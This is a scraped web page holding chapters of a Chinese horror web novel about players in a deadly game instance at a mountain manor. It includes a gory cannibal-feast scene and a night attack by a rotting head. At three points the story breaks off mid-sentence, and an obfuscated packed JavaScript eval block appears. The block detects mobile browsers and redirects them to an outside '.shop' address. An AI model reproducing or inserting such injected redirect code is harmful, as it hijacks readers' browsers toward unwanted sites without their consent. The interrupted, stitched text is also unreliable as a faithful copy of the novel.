苍老的脸笑呵呵的,脸上皱纹挤在一起,被手电的光映得像鬼:“已经深夜了,您再往山林里去,会遇到吃人的猛兽的,还是跟我回落日山庄吧。晚宴已经准备好了,只等您入座了。” “晚宴?” 手电筒的光移开,江其深借机看清面前的人。这是一个老到快要进棺材的男人,瘦得好似只剩一张皮裹着骨架,穿着一身格外考究的管家制服,熨帖笔直,浑浊的眼球转向江其深: “是的,主人为你们这些来宾准备了十分丰盛的晚餐,人不到齐,不能开餐。即使您想要寻找珍稀动物的踪迹,也应该在白天进山,那样更安全。” 看来有人物设定啊,寻找珍稀动物踪迹……听上去像是研究学者或者摄影爱好者一类的身份。“好……请带路吧。”江其深道。 山林里的夜晚很冷。江其深穿的单薄,在风里站了一会儿,有点站不住了。随着管家往一点灯火的方向走去。 灯火越来越近,山庄的全貌展现在他面前。这是一座有些古旧的建筑,外表看上去共有三层,窗户很小,每一扇都关得很紧,据说是为了防野生动物,黑漆漆的檐角压得很低,一楼的灯是开着的,二楼和三楼黑着。 江其深随管家来到餐厅,长方形餐桌的两侧已经坐满了人,共十二个座位,主位空着,主人还没有就座,十一个玩家全部到齐。 江其深在最末尾的位置坐下,观察四周。餐厅内的灯光有些昏暗,可能是电路连接不好,时不时跳动几下。餐桌两侧就是参与此次游戏的玩家。众人神态凝重,警惕地观察着彼此,防备心十足。 唯有一个女孩例外。 江其深进入餐厅的第一时间就被她吸引了目光,原因无他,她太与众不同了。浅粉色齐耳卷发上别着小熊发卡,套着松松垮垮的婴儿蓝机能外套,马卡龙色长裤和运动鞋,戴着奇怪撞色镜片的眼镜,镜片一只胡萝卜色一只荧光绿,一身装扮元气活力,就像是隔壁某个青春搞怪动漫误入的角色,和餐厅里悬疑诡异的气氛格格不入。 在所有人都紧张恐惧的时刻,她盘腿坐在黑瘦的椅子上,专注地玩着手上的游戏机,全情投入,手指按得飞快,对外界一切置若罔闻。空荡的餐厅回荡着砍杀怪物的音效。 众人眼神古怪地看着她,偶有窃窃私语的声音,女孩头都没抬一下。 见到人齐,管家笑眯眯道:“我去请主人。”他前脚离开,厚重的门“砰”一声关响,餐桌上有人按捺不住开口:“要不……我们先认识一下吧,我叫许枫,这是第一次进A级副本……” 他没说完,有人打断:“有必要吗?这是竞技本,我们不是队友。” 竞技本?江其深看了那人一眼,说话的是一个长发女生,似乎是个老玩家,身上透露着熟练的从容。许枫听了她的话,羞赧地低下头:“我……我就是想问问,有没有领到合作任务的玩家……我有技能,但是需要队友配合才能使用。” 这句话一出,众人的目光顿时聚集在他身上,好像要把他烫出一个洞。 长发女生更不客气了:“你有技能?什么技能?” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529126|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其深留意到,按游戏机的“啪啪”声也停了,余光里,粉色头发的女孩终于抬起了头。 看来“技能”是个很重要的东西,他记得人物面板上有这一行。 许枫看上去不太想当众说,支支吾吾的,这时一旁有人解围:“哎呀,技能不能随便暴露,万一被针对怎么办?技能玩家很罕见啊,你说你是第一次进A级副本……但是只有进过S级副本的玩家才有可能获得玩家技能吧?你的技能是哪儿来的?” “是‘礼物’。我打C级副本时遇到了黑玩屠本,杀了所有玩家和npc,我侥幸活了下来,就领到了‘礼物’。” 解围的人眼神也变了,看他就像审视一块待宰的羔羊,笑容洋溢:“礼物级别的技能啊……那真是太幸运了。我和你合作吧,我虽然没有技能,但是有绑定道具,可以保护你。”他越过桌子来和他握手,“我叫杜曾。” 许枫脸上露出“得救了”的表情,“太好了,那就麻烦你了……”两人换了个座位,挨在一起坐。 江其深环顾桌子的四周,有人露出遗憾的表情,有人面露提防,最初说话的长发女生表情冷冷,目光充满警惕,粉色头发的女生又低下头去摆弄游戏机,但没有听到游戏的音效。 江其深在心里琢磨这些人的反应。通过刚刚的对话,结合长发女生的反应,他可以确定一件事:别人领到的通关任务恐怕和他的不一样。 每个人领不同的游戏任务,并且玩家之间的任务很可能存在冲突,需要竞争。 看起来这是一种比较常见的副本模式,玩家称之为竞技本。他的通关条件是活到一切结束之时,但其他玩家的通关条件未必是如此。 会不会有人的通关条件是杀掉所有玩家呢……思及此,江其深也紧张起来。面上流露出警惕的神情。 “叮叮”,餐车的铃铛声响起,管家推着车走进来,餐车上用不透明的菜罩罩着十二份餐点,看上去是西餐。虽然有菜罩遮挡,香味还是不可抑制地窜出来,当即有人肚子咕咕叫起来。 管家彬彬有礼,用他枯树枝般的手指托起盘子,挨个放到他们的面前。等送到最后一位江其深的面前时,管家道:“抱歉,主人因病缺席,不能陪同各位就餐了。餐已经上齐,请各位慢用。” “太好了,我们快点吃吧,我快饿死了。”有人迫不及待地掀开菜罩,浓郁的肉香直冲鼻腔,下一秒,餐桌边有人忍不住骂出声。 江其深捂住自己的鼻子。餐盘里装的根本不是美食,而是还在白花花的生肉,这分明是刚刚切割下来不久,肌理中掺杂着血丝,神经还在跳动,油腻的脂肪像在蠕动的肉虫,却散发着菜品的香气。 管家戴着假面般的笑容:“请各位用餐吧。” 许枫脸色惨白,“这……不是动物的肉。” 随后打开餐盘的几个人也确认了这一点。长方形餐桌左右对称地上了同样的菜,距离江其深最近的两个人是锁骨肉,往外侧依次是左右手、胸口、大腿和双脚。 这分明是一个人的身体部分被拆成了对称的十一块,按照人体顺序放在了十一个人的餐盘中。江其深一点也不想打开自己面前的餐罩——他不用想也能猜到自己盘子里放的什么部位。 多半是头颅。 江其深一副不为所动的样子,双手焊死在大腿上,坚决不伸向餐盘。吃不上饭就算了,他不想再吐出来。 “请各位用餐吧——”管家的声音高亢嘹亮,不像是将死之人发出的声音。餐盘中的肉像被这一声唤醒,剧烈抽动起来,喷出血水,溅人一身,几个胆小的玩家发出凄厉尖叫:“啊——” 许枫眼疾手快把餐罩罩了回去,遮住血水,他身边的长发女生就没那么好运,被血水溅了一身,白色衬衫几乎染成血红色。也不知道一块肉里怎么能藏这么多血。 长发女生低声骂了一句,试图用手帕擦干衬衫上的血,但血迹就像焊在衬衫上一样,怎么也擦不掉。她身上沾满浓郁的肉香,脸色十分难看。 江其深庆幸自己没有贸然打开餐罩。这种东西糊在身上,就算不要命也要恶心死了。在一桌骂骂咧咧的声音里,管家脸上的笑容丝毫未变,“请各位用——” 最后一个字被“哐啷”一声巨响吞没,江其深赫然抬头,只见一直玩游戏机的粉发女孩不知何时收起了游戏机,一拳砸在不锈钢餐罩上,金属餐罩像橡皮泥一样,连同里边的肉一起砸扁,餐桌发出“吱呀”一声惨叫,摇摇晃晃险些断成两截。 她在众人的目光中抬起手,随意甩了甩,淡漠地撇撇嘴: “说点别的,听腻了。” 5. 第 5 章 江其深低头看向他面前的不锈钢餐罩,在昏暗的灯光里泛着冰冷的金属质感,虽然他没摸过,但他肯定,这玩意绝对不是塑料纸或者面团做成的,一拳下去,少说也得骨裂出血,但粉发女孩儿的手完好无损,指节干净白皙,连泛红都没有。 管家的声音卡在喉咙里,像被扼住脖颈的鸡,涨得面色通红:“这是主、主人……精心为各位准备的晚餐……” “你脱光了趴餐桌上都比这堆烂肉有看头。”粉发女孩站起身,衣摆掀动间,江其深留意到她的腰后鼓起一片,好像藏着什么东西,但被外套遮住,没看清楚,女孩离开餐桌,走到餐厅门口,推开了门。 许枫急忙道:“等等,你去哪?” 粉发女孩莫名其妙看他一眼:“回去睡觉。不然呢?在这儿等餐后甜点吗?” 这种宴席,没人会期待餐后甜点是什么。女孩儿随手甩关门,餐桌前的十一人你看看我,我看看你,顿时也坐不住了。 一个中年男人先站了起来,他戴着眼镜,看上去彬彬有礼,实则掩饰不住恐慌:“我也不想在这儿待了……有人一起顺路回房间吗?” 擦不掉衬衫上的血迹的女生接着起身:“我和你一起。这鬼东西怎么都擦不掉……没带换洗衣服啊。” 江其深看着两人离开的背影,心中若有所思。这时他身旁突然有人道,“你也觉得他们是一起的吗?” “只是猜测。”江其深没承认,这件事儿挺明显的,长发女生心防很重,却对眼镜男的提议第一个回应,如果不是事先认识,很难解释她会突然放下心防。 许枫露出懦弱又讨好的笑,“我和杜曾也要一起回去了……你一起吗?不知道这个副本里会有什么危险呢,我们人多点比较安全。” 江其深顿了三秒,礼貌地笑道:“不了,我对这些菜品挺感兴趣的,还想看看接下来会上什么菜。” 许枫不解、震惊,看他的眼神充满对强者的尊重:“好的,那我们不打扰你了。” 杜曾和许枫结伴离开,剩下五个人也三三两两离开了餐厅,空旷的房间里,只剩下断断续续说不完整话的管家和江其深两个人。 按照常理来说,他应该跟别人一起结伴回房间。在恐怖电影里,落单的人往往死的最快。但这不是恐怖电影,威胁不止来自于副本的怪物,还来自于玩家。 这种时候,一个人,反而比较安全。 “让我验证下自己的想法吧……”江其深握住餐罩的把柄,深吸一口气。 如果可以,他真的不想打开餐罩。要知道他晚上还什么都没吃呢,为了预防副本里缺少食物的情况,他在来之前特地在商城购买了可携带进副本的巧克力、压缩饼干和瓶装矿泉水,为此耗掉了两百积分。 不锈钢餐罩掀开,里边果然是一颗头颅,但和其他人的餐盘中新鲜肉块不同的是,江其深餐盘里的头颅腐烂腥臭,明显放了很久,两只眼睛被挖出血洞,黑漆漆地盯着他。 江其深迅速盖回餐罩。和猜测的一样,果然是脑袋。但为什么是腐烂的……还想晚上睡觉前补点夜宵,这下没胃口了。 他点开游戏界面,给府乐天的消息框里发过去一条消息:【进入副本了。】 消息在他眼皮子底下消失,过了一会儿,对面发来消息:【玩家中有一人是黑玩,找出他是谁。】 江其深回道:【有没有可能我是个新手,不知道什么是黑玩?】 他等了一会儿,对面没有再回话,他耸耸肩,看来监察的工作也挺忙,没空守着聊天框回消息。他挽起袖子看眼腕表,十一点五十三分。 不锈钢餐罩下的头颅发出沉痛的嘶吼。 该回房间了。来餐厅之前管家给了他客房的钥匙,他住在203房间。这座宅院的楼梯在四个拐角处,那些玩家为了尽快回房间,应该会选择离餐厅最近的拐角楼梯,那他还是绕远一点,从大厅对面的拐角楼梯上楼吧。 他这么想着,餐厅的门突然被推开。粉色头发的女孩儿去而复返,见到江其深还在餐厅,意外地挑一下眉:“打算和这颗脑袋共度良宵?” “……没这个爱好。” “时光。”女孩走到餐桌旁,交换自己的姓名,“我和你一起下过本吗?你很眼熟。” 好巧,江其深也想说,好像在哪见过她的名字,江其深看她表情诚恳,不像是搭讪,据实道“江其深。我第一次进A级副本,我们应该没见过。” “那就奇怪了……”时光困惑,扶了一下奇怪的撞色眼镜,圆润的眼睛从镜片后盯着江其深,“你真的很眼熟,我感觉这不是第一次和你进同一个本了……” “我大众脸。”江其深面无表情。 “你真谦虚,”时光不再纠结这个问题,抬手打开江其深面前的餐罩,看见意料之中的头颅,眉头皱成一团,“怎么是腐肉?你一打开就是这样?不用站那么远,别担心,我没有屠杀玩家的爱好。” 这种莫名其妙的安抚令人更不安,江其深迟疑地回答:“嗯。缺了两只眼睛,还会嚎。” “到午夜了嘛,可以理解。这种诡异本都是挑半夜时间搞花样。”时光熟练地从袖子里抽出一支纤长的蝴蝶刀,刀柄坠着一只毛茸茸的兔子挂件,兔子戴主人同款撞色眼镜。 江其深刚想礼节性地夸一下刀很好看,就见时光用刀刃削去头颅表面的一层腐肉,熟练得像削苹果。 可怜的脑袋嚎的声音更大了。 腐肉削掉,里边露出的不是森森白骨,而是木质头骨。时光敲了一下,发出钝钝的“咚咚”声。 “一二三木头人……看来这个副本boss拿自己做成菜来招待客人啊,真是太热情了。” 江其深:“其他餐盘里也是木骨头。”他随手打开身边座位上的餐盘,餐盘里摆的锁骨肉,木头制成的锁骨沾血挂肉,随着烂头颅的嚎叫一点点向餐盘外蠕动。 江其深猛地给它盖了回去。这东西多看一眼晚上都睡不着觉,“所以这些东西都是Boss的一部分……可这不完整。” 时光从口袋里摸出一根棒棒糖,一边嘎嘣嚼一边“呜呜嗯嗯”点头,表示对江其深的赞同。 “管家不见了,十二点之前还在,看来十二点之后是npc的行动时间。”时光咬着棒棒糖,把撕下来的包装纸顺手赛烂脑袋嘴里,用桌布擦擦手,“一起看看?这么大的宅院,总有点线索。” 她明显还怀疑江其深,这个邀约等同于试探。江其深可以理解,在这种地方,信任才是奢侈品。他问道:“你不怕我杀掉你?” 时光像看山顶洞人一样上下打量他几遍,忽然笑起来:“那我很期待了。想杀我的人不少,可惜没人得手过。不要让我失望哦。” 江其深突然想起在哪见过“时光”这个名字了。 游戏论坛悬赏榜单,和第二名甩出八十万积分差距的榜首,赫然写的就是这个名字。 没有任何犹豫,江其深立刻和时光组队。这么个人物要是想杀他,他恐怕也没有还手之力,还不如趁早组队刷刷好感。 “这栋建筑有三层,从哪一层开始查?” 时光把蝴蝶刀收起来,道:“客人们饱餐就寝,主人便该开始进食了。一楼是餐厅和花园,二楼是客房,我猜Boss狩猎会从二楼开始。我们避一避,先搜三楼。” “这样想的应该不止我们两个,”江其深打开餐厅门,门外黑漆漆一片,月光从狭窄的窗户外洒进来,勉强照亮道路,“既然是A级副本,玩家都不是新手,应该没人会乖乖呆在客房里等Boss敲门。我猜三楼现在应该挺热闹的。” 时光颇赞同地“嗯哼”一声,咬碎棒棒糖,吐掉棍子,“所以我们更要去凑凑热闹了,你不好奇他们领到的都是什么任务吗?” “好奇啊,但是好奇心害死猫……等等,不先杀掉boss吗?” “我的通关任务不是干掉boss。我没兴趣替别人干活,奖励又不归我。要杀你自己动手。” “那算了,我跟你一起。哎,你的通关任务是什么?” “你不是说好奇心害死猫吗?” “猫就是死也要好奇……” 声音远去,餐厅的大门吱呀关紧,灯光忽地灭掉,一片黑暗之中,响起金属碰撞落地的声音。 *** 落日山庄是四四方方的环形结构,从较远的楼梯上到三楼,一路没有遇见半个人影。然而刚到三楼,就听见远处有急匆匆的脚步迅速拉近。江其深立刻闪身躲进最近的一间房间,时光跟他身后,没有关紧门,留了一道窄窄的缝隙。 “管家往哪个方向跑了?” “这个方向!” 说话的两个人正是最先离开餐厅的长发女生和眼镜男,他们跑到门外,气喘吁吁,停下脚步。 “你确定管家是Boss?我怎么觉得不像……”长发女生迟疑。 “不是Boss为什么在午夜活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529127|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?章佟,你要相信我的判断。”眼镜男言之凿凿,“这个Boss可能是成长型,我们要在他进化前找到他的弱点,杀掉他,否则你的任务就完不成了。” 章佟依旧犹豫,“但这是A级副本,不是我们常下的B级副本,我觉得没那么简单。” 詹齐有点不高兴,“你怀疑我骗你?” “我不是这个意思。”章佟的辩解很苍白。她心里也知道,自己就是那个意思。 这个游戏里不存在永远的队友。因为你永远也不知道自己会被分配到什么通关任务。有些玩家需要杀死其他玩家才能达成通关条件。达不成通关条件,死的就是自己。所以在这个游戏里,玩家与玩家之间没有永远的同盟。 她和詹齐搭档了十几个副本,一路从E级玩家升到B级玩家,两个人的任务从来没有冲突过,但她知道,这不是游戏系统的偏爱。系统不会偏爱任何人,任务都是随机分配的,这只是运气而已。 运气这种东西总有用光的一天。组队的次数越多,她对詹齐的怀疑越重。等待背叛的降临就像等待一把悬于头顶的刀。詹齐也在等那一天。他们心照不宣。 “你想和我分开走?”詹齐冷静道,“但你没有绑定道具,没办法自保。” “你现在还没告诉我,你的任务到底是什么。”章佟道,“我已经告诉你了,我的任务是杀掉Boss,你的呢?” 漆黑的走廊一片沉默,詹齐没有回答,章佟几近崩溃,“你这样让我怎么相信你?” “我不会杀你。”詹齐硬邦邦道,“我也不想骗你,我只希望你信任我。” 章佟伸手按上门把手,“我对你毫无隐瞒,詹齐,但你不是这样。是你先不信任我的。” 江其深听得入神,一下忘了章佟开的就是他们眼前的门,时光猛地拉他一把,两人躲进门后月光照不到的黑暗区域,险险避开章佟。 两道身影没有注意到身后的人,抄近路从房间的另一道门绕了出去,等脚步声离远了,两人才从阴影中走出来。 “詹齐真的接到了杀人任务?” 时光关上门,从游戏背包里拿出手电,观察起屋子:“差不多吧,A级副本里有杀人任务很正常,有的要杀所有人,有的要杀某个特定身份的人。你关心他们?” 江其深:“就是觉得有点残忍。” 这个游戏看上去可以满足人的一切愿望,但是方法却很残忍。挑战人与人之间信任的底线,让互相扶持的队友刀剑相向,让每个人最终都陷入孤立无援的境地——这种游戏里,真的有赢家吗? “欲|望都是有代价的,”时光一边在书柜前翻找,一边漫不经心道,“有时候代价不止是自己的生命。” “你在找什么?” “线索。”时光翻找的动作一停,手电筒的光定在一张陈年报纸上。 江其深的目光随之停留,报纸的标题是一行斗大的字,形容词夸张又吸睛【惊魂雨夜,落日山庄碎尸案,无一生还!】 时光把手电叼在嘴里,呼啦一下翻开报纸,陈年浮灰漂得满屋子都是。时光看的专心致志,江其深在一旁捎带着看完内容。 根据报纸附带的图片,报道的案件就发生在他们身处这所落日山庄,内容大概是说山庄的主人一家连同仆人和客人都惨遭杀害,凶手还在逃窜,请附近的居民提高警惕,不要随便给陌生人开门,见到可疑人员立刻报警。报纸的最后附了案件警官的联系方式,还有山下警局的地址。 时光把报纸卷了卷,放进背的毛茸茸兔子包里。江其深猜道:“你要去警局?” “案件很多内容不会上报纸,我要更详细的证据。”时光继续翻报纸堆,找到一张山庄附近的地图,仔细研究后道,“山下警局的位置不远,坐缆车可以到。” “我跟你一起吧。”江其深盘算着,他的任务是活到最后就算赢。只要实力最强的时光没有杀他的打算,他就可以跟在她身边,完成她的任务顺便抱大佬的大腿——看她这副寻找线索的样子,多半是要调查某个事件或者某人身份? 说到身份,他突然想到,他们这些玩家都是有预设身份的,自己的身份似乎是珍稀动物观察员…… 时光说过的话回响脑海:“A级副本里有杀人任务很正常,有的要杀所有人,有的要杀某个特定身份的人。” “……” 某个特定身份的人。 天杀的,时光该不会是在找他吧? 6. 第 6 章 江其深发誓,下次再嘴快过脑子,他就要把自己毒哑。 他尽力让自己的声音平稳无波澜,貌似无意问道:“你在找什么线索?说不定我能帮你呢。”实则迅速点开商城,给自己寻找保命道具。 一千的积分扣掉药水和食物还剩七百,上商城里的武器都是五百积分起步,最便宜的也要550积分。 【道具名称:弹弓】 【道具简介:一把看上去放了很久的弹弓,皮筋已经松了,或许目标近在眼前也瞄不准,但是十分值得珍藏的童年回忆。】 “?” 系统你没事吧?放这种废物道具是做什么?去餐厅顺把餐刀都比这东西有用!就不能给新手放点用得着的吗?比如□□什么的! 时光瞥了他一眼,把地图一道收进兔子包,笑得不怀好意:“帮我?可以啊。我找这桩雨夜碎尸案的所有线索,和涉案人员的全部身份信息。” 果然是在找人!!! “现在很晚了,”江其深亮出腕表给时光,“两点四十五,二楼如果死人也应该死的差不多了,现在回去补一会儿觉,明早可以坐缆车去警局。” 先把今晚糊弄过去再说,即使是在游戏里,人也是要睡眠的,至于明早还见不见面……游戏里那么多变故,总能找到理由搪塞过去。 时光对今晚的收获颇为满意,没有拒绝这个提议,两人一道顺着楼梯去往二楼,回到客房前,忽然对江其深说了一句: “如果明早在缆车附近没有看到你,我就直接杀你了哦。” 江其深忽然收到死亡通知,猝不及防:“什么?为什么?!” 时光一副理所当然的样子:“你应该猜到我在找人了吧?如果避着我走,岂不是证明你就是我要找的人?” 逻辑通顺,无可反驳。江其深哑口无言,时光甜甜地道了一句晚安,反锁上房间门,只剩江其深一个人站在充满血腥味的走廊,静静反思全程,深感自己一直在被牵着鼻子走。 她从一开始就是冲着自己来的吧?!打算还说什么看着眼熟!骗子! 江其深咬牙切齿地回到自己房间,轻手轻脚关上门,房间的主灯坏了,他只能打开台灯,把亮度拧到最大。 房间的样貌陈列眼底。干净的床铺,整洁的书桌。床边放着一个已经打开的行李箱,箱子表面破损,似乎用了很久,里装了换洗衣服和洗漱用品,桌子上放着厚厚一沓笔记和研究资料,都是这个角色的私人物品。 “珍惜动物观察员……”江其深随手拿过桌子上的笔记,对着昏黄的灯光,辨认出封皮上潦草的字迹写着“观察日记”四个字。 他随便翻开一页: 【206年7月32日,天气晴。 适合观察珍稀动物的好天气,这一只我已经跟了三个月了,它好像在找自己的族人,每到夜晚就在悬崖边嚎叫,可见动物也有人的情感。】 【206年7月33日,天气阴。 今夜它照旧在悬崖边嚎叫,令人震惊的是,山崖下有同类回应。看来这里有它的同类,真替它高兴。它决定黑夜就出发,沿着嚎叫声的方向去找,我跟在它身后,拍摄到不少有用的珍稀照片。】 【206年7月34日,天气雨 跟丢了,大雨遮盖了它的脚印,但我敢笃定,它一定没有走远,或许就在附近,我需要一点时间探查踪迹……等雨天结束。在那之前,得先找个地方落脚。】 【206年7月35日,天气雨 大雨没完没了,连续下了两天,不知道小家伙和它的族群汇合了没有,希望它不会遭受排挤。幸运的是我在山里找到了落脚的地方,落日山庄的主人真是好心,允许我暂住在此直到雨天结束。我想我可以在这里休整几天,山里的野果太难吃了,我现在非常需要热腾腾的炸肉排和满满一碗煎鱼汤,最好还有奶酪和红酒……当然,加了糖和奶的咖啡也可以。还需要一张柔软的床铺,在不需要担心毒蛇的房间里好好睡一觉。这段时间太累了。】 【206年7月36日,天气雨 管家先生帮我准备了非常合适的换洗衣服。连续几天大雨,我想它也找不到吃的吧,我去厨房要了一些生肉,挂在花园后门不远处的丛林里,希望小家伙能看到。】 【206年7月37日,天气雨 生肉没有动静,可能是雨水冲掉了食物的气味,或许得放更大块的?】 【206年7月37日,天气雨 山庄的主人老约翰先生似乎在筹备宴席,来了许多客人,其中不乏地位尊贵的上流人士……呵,我想我和那些用鼻孔看人的贵族是无话可说的,还是躲远些比较好。】 【206年7月38日,天气雨 宴会的第二天。我在二楼呆着没有出去,管家很贴心地将餐点送到了客房,甜点是奶酪樱桃派,正是我昨天和厨师聊天时顺口说起的,用蜂蜜替代冰糖的配方,我家乡的味道,被关心的感觉真好。】 【206年7月39日,天气雨 宴会似乎要开一周,难以想象我可能要一周都不出门。今天管家来送餐时,我请他替我挂一些生肉到后花园外,希望小家伙能看见。】 【206年8月0日,天气晴 它来了快跑】 【206年8月1日,天气晴 跑不掉了原来它一直都在】 最后两页的字迹潦草混乱,笔尖戳破纸页,滑道下一页去。江其深后背寒毛竖起,好像黑漆漆的房间里有视线盯着他一样。他再往后翻几页,都是空白,观察日记停在这一页,对着光仔细看,能看见隐约的血迹。 他把观察日记合起来,想放进游戏储物栏,却放不进去。 看来只有道具才能放背包里,副本内的物品带不走。他转而从行李箱里摸出一只防水背包,把日记装了进去。再把桌面上的资料摊开。 资料记录的都是那个“小家伙”的信息,但是科属和物种名称均画了问号,似乎是不在记录的珍稀动物。 是什么动物?怎么都没照片……等等。江其深迅速翻开观察日记,翻到7月33日的记录,逐字逐句阅读。 “……我跟在它身后,拍摄到不少有用的珍稀照片。” 照片,是的,角色拍摄照片了,可是这些资料里一张照片都没有。江其深从床上弹起来,举起台灯翻床头和衣柜。一张照片都没有,甚至照相机也没有。 他拍的照片哪去了? “轱辘。” 声音轻而脆,在寂静的夜里尤其突兀,江其深浑身僵硬,动弹不得。 他听得很清楚,这个声音距离他非常近,声音之后,是刻意放缓的呼吸声,就在房间里,台灯照不到的黑暗角落。 他努力控制自己的视线不往那个方向看,握紧手上的台灯——他对商城已经不抱希望了,这台灯抡起来杀伤力都不止五百个积分。 “嗒、嗒、嗒。”有规律的敲击地板声,停在床对侧的墙面下。 “我们来玩游戏好吗?” 江其深头皮炸开,没有回答,那道声音还缩在角落里,自顾自道:“我们来玩一二三木头人好不好?” “我说一二三木头人,不许说话不许动,你就不可以动了。如果被我看见你动了,就轮到你来做鬼啦。” 江其深艰难地吞咽了一下。他觉得这个“做鬼”应该是字面意思,输了真的会成鬼。介于他没能力反杀npc,在对方想和他玩游戏的时候,最好的选择就是配合他。 “开始咯!一二三——木头人——不许说话不许——” 江其深迅速卧倒,攥紧台灯,选择了最舒服的不动的姿势。 “——动!” “哎呀,真的没有动呢。”声音有些遗憾。房间陷入长久的寂静,好像离开了。 足足过了三四分钟,那道声音都没有再出现,江其深留了个心眼,依旧一动不动,他躺到脖颈僵硬,汗水滑过面颊,弄得皮肤发痒,也不敢去擦,直到声音再度响起:“怎么真的不动呀?” 呵,玩你大爷的心眼。 “真的不动吗?”对方好像不甘心,粘腻的水声从墙角滑出来,咕咚咕咚移到床边。 江其深眼眶泛酸,他忘了闭眼,视线被生理性泪水模糊一层,缓释酸涩,从眼角流下来,眼球难受得不行,他用余光看见床边有一颗腐烂的头颅滚来滚去,比餐桌上那只要小很多,不是同一个怪物。原地蹦跶了几下,似乎想要跳上床来。 终于在眼睛坚持不住之前,脑袋遗憾地蹲回墙边,大声念道“三二一木头人——不许说话不许——” 江其深迅速把眼睛闭上。等了许久,没等到最后那个字,他僵在床上,攥着台灯,灯泡热得发烫。 人在闭眼之后,对时间的感受会无限放慢,恐惧也成倍增大。脑海中各种恐怖画面蜂拥而至,张着血盆大口的怪物像要从他的脑子里跳出来,把他吃干净。晚餐时见到的可怖画面,还有染血的城市和孤儿院散落一地的残骸……都在黑夜中愈发清晰了起来。 江其深反复告诫自己,只要遵守游戏规则,对方多半是无法杀掉自己的。这是游戏,游戏就有规则,npc给出的规则不会坑人。 应该……不会吧。 “你动了!”畅快的尖叫响彻房间。 什么?江其深大惊,猛地睁眼,随后意识到自己被耍了,这是在诈他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529128|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床底下传来哈哈大笑:“睁眼啦睁眼啦!轮到你做鬼了!” 江其深懊恼又愤怒,这个破脑袋居然会骗人!烂脑袋奸计得逞,从地上一跃而起,小小的嘴巴咧到脑后,尖锐的牙齿像错开的刀锋,黑夜中反射出刺眼的光。 “轮到你当鬼——” 江其深反手把台灯塞进脑袋嘴里,“咔崩”一声,碎片蹦他一脸。 脑袋一口咬碎台灯,又奔江其深来,江其深挡无可挡,危急之下,下意识伸胳膊挡在面前,闭上眼,电光石火间,只感觉到一团腥臭的腐烂气味扑到面前,世界骤然陷入一片安静。 “……”江其深谨慎地睁开一点眼睛,被吓得后退,脑袋撞在墙上。 烂脑袋离他的胳膊只有不到三厘米的距离,张开的巨型大嘴已经将他的手臂囊括其中,尖利的牙齿就要刺破肌肤,却合不拢了,仿佛被施了定身术,定在空中,眼珠子一动不动,不成形的五官定格在狂喜的表情。 烂脑袋的边缘浮现一层淡淡的蓝色光晕,像是魔法,光晕越来越淡,即将消失之际,江其深迅速反应过来,抄起椅子就是一砸,接着用外套把脑袋一裹,丢出窗外,关死窗户。动作行云流水、一气呵成。 管他是什么原因,先活下来再说。 他背靠窗户,满头冷汗,正要松一口气,就听见窗外传来声音:“要不要和我玩一二三木头人啊,这次不骗你了,开开窗户嘛……” 玩你个鬼!!!我再信你一个标点符号,都活该死在这! 江其深忍着眼泪把窗帘拉上。又把椅子抵在门前,钻进被窝里,生理性的恐惧使他五脏六腑都在颤抖,他竭力把自己蜷成一团,一动不敢动,保持一个姿势,直到天亮。 天亮后。江其深一夜几乎没睡,到盥洗室简单洗漱了一下,从背包里拿出压缩饼干和矿泉水勉强对付一下,准备出门去坐缆车,走到大厅,遇到章佟,她似乎也没睡好,眼底一片青黑。 念及二人任务不冲突,江其深和她打了个招呼。 出乎意料的是,章佟态度没有昨天餐厅那么强硬,礼貌地回了一声好,接着道:“昨晚死了两个人。” 江其深一愣。 他在屠本中踩过了亲友的尸体幸存下来,以为自己对死人这件事已经不敏感了,但听见这句话,心里还是咯噔一下,胸口蔓延开一片凉意。 “尸首不全,都是在客房被杀的,应该是npc动的手。” 说完,章佟好像还想说什么,顿了顿,没有开口,转身就要走,江其深开口道:“有npc可以进客房,玩一二三木头人的游戏,会诱导人犯规,睡前检查好客房内再关门窗。” 章佟有些惊诧,回过头多看了他几眼,随后点点头,示意自己知道了,“谢谢。” “不客气。” 詹齐还活着的情况下,江其深不打算和章佟走得太近,容易惹上不必要的注意。说完这句话,他就离开了大厅,沿着小路上的指示牌,前往缆车点。 缆车点,时光已经等了一会儿了,她还有闲心换了身衣服,从头到脚撞色系的穿搭,背着毛茸茸兔子包,动起来就像洒出一把彩虹糖。见到江其深来,毫不意外:“你看上去没睡好啊。” 江其深没好气道:“我上缆车补会儿觉,你就算杀我也等我睡熟再动手,谢谢了。” 